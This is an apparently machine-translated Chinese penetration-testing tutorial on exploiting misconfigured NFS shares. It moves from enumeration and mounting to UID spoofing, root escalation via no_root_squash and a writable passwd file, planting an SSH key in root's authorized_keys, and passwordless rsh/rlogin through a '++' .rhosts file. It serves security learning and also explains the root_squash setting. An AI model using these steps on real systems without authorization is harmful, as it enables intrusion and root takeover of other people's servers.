导语:NFS代表网络文件系统,是一种可以在Unix系统中找到的协议,允许网络上的用户以类似于本地存储的方式访问共享文件夹。现代NFS实现包含防止误导导出的文件夹的功能,但遗留系统中的NFS服务未配置正确,可能会被滥用。
NFS代表网络文件系统,是一种可以在Unix系统中找到的协议,允许网络上的用户以类似于本地存储的方式访问共享文件夹。现代NFS实现包含防止误导导出的文件夹的功能,但遗留系统中的NFS服务未配置正确,可能会被滥用。
发现NFS服务
NFS服务在端口2049 / TCP上运行,因此可以在使用Nmap进行渗透测试的端口扫描活动期间发现。
2049/tcp open nfs 2-4 (RPC #100003)
除Nmap之外,还可以使用rpcinfo实用程序来确定主机上是否有任何mountd和NFS服务运行。
rpcinfo -p IP
列出导出的文件夹
以下命令将检索给定主机的导出文件夹列表。此信息将用于访问这些文件夹。
showmount -e IP
当showmount命令与以下参数一起使用时,可以检索更多的信息,如:
已连接的主机 目录 showmount -d IP // Directories showmount -a IP // Mount Points
或者Metasploit Framework有一个模块可用于列出导出的文件夹。
auxiliary/scanner/nfs/nfsmount
还有一个名为NFS Shell的实用程序,可以连接到NFS共享并手动识别常见的安全问题。但是,它需要先安装以下依赖项:
apt-get install libreadline-dev libncurses5-dev make gcc -g -o nfsshell mount_clnt.o mount_xdr.o nfs_prot_clnt.o nfs_prot_xdr.o nfsshell.o -L/usr/local/lib -lreadline -lhistory -lncurses ./nfsshell
导出的文件夹的列表可以通过以下命令获得:
nfs> host IP // Connects to NFS Server nfs> export // Export NFS List
访问NFS共享
导出的文件夹可以通过创建一个空的本地文件夹并将共享装载到此文件夹中进行访问,具体如下:
mkdir /temp/ mount -t nfs 192.168.1.172:/ /temp -o nolock
已经成功挂载共享的验证可以通过以下命令来实现,该命令将列出所有本地驱动器。
df -h
可以像系统上的任何其他本地文件夹一样访问共享。
cd /temp/ ls
UID操作
如果导出共享上有文件,用户没有权限读取它们,则可能会诱使NFS服务器相信尝试读取文件的用户帐户是该文件的所有者。这可以通过执行UID(用户ID)操作来实现。
NFS – 权限被拒绝
以下命令将显示文件所有者的UID(用户ID)和GUID(组ID)。
NFS – 检索UID
需要在本地创建一个新用户,该用户与文件所有者具有相同的UID和名称。
useradd <user> passwd <user>
UID可以从passwd文件更改。
vi /etc/passwd
从已安装的文件夹中,通过执行su命令,其密码由于之前已创建,因此当前用户将切换到新用户。
su <useraccount>
NFS – UID操作
由于文件的UID与新用户的UID相同,系统将认为这是原始所有者,因此可以读取文件的内容。
这是因为导出的文件夹没有设置root_squash选项,将将访问NFS文件夹的用户的UID和GID映射到匿名UID / GID。例如,尝试访问共享的主机的root用户标识将被NFS服务器上的用户ID nobody替换为防止特权升级。
该root_squash选项可以从以下位置可以启用或禁用:
vi /etc/exports /home 192.168.1.47(root_squash) // Enables Root Squash /home 192.168.1.47(no_root_squash) // Disables Root Squash
如果passwd文件具有写入权限,那么通过将非特权用户的UID更改为0将给予根级访问权限。用户名服务的UID 已被修改为0,这是root用户的UID 来演示此问题。
NFS - UID修改为0
通过SSH再次与服务器进行身份验证将给用户服务root访问权限。
NFS - 服务用户成为根
Shell访问
根据存储在导出文件夹中的文件,可能可以通过SSH或RSH和Rlogin获取shell访问。有趣的文件要检查:
authorized_keys中 .rhosts文件
这两个文件因此从NFS文件夹被隐藏,以下命令将确定这些文件的存在。
ls -al
生成SSH密钥对并将公钥添加到授权密钥列表中将允许用户通过NFS在NFS服务器上进行连接。
cd /root/.ssh/ ssh-keygen -t rsa -b 4096 cp /root/.ssh/id_rsa.pub /temp/root/.ssh/ cat id_rsa.pub >> /temp/root/.ssh/authorized_keys ssh -i /root/.ssh/id_rsa [email protected]
NFS – 生成SSH密钥对
NFS – 授权密钥SSH连接
该.rhosts的该远程数据库主机或用户澄清可以在系统上访问本地帐户。如果.rhosts文件的内容是++标志,这意味着它允许来自网络上任何主机和任何用户名的连接。
cat .rhosts ++
NFS – 显示Rhosts内容
以下命令将允许系统的root用户直接连接目标,因为系统将不会提示输入密码,因为所有用户都受到所有系统的信任。
rsh -l root IP rlogin -l root IP
NFS – 通过rsh访问Shell
NFS – 通过rlogin访问Shell
或者如果.rhosts的内容不同,则检查文件将有助于确定哪些主机和哪些用户是可信任的,因此可以在没有密码的情况下进行身份验证。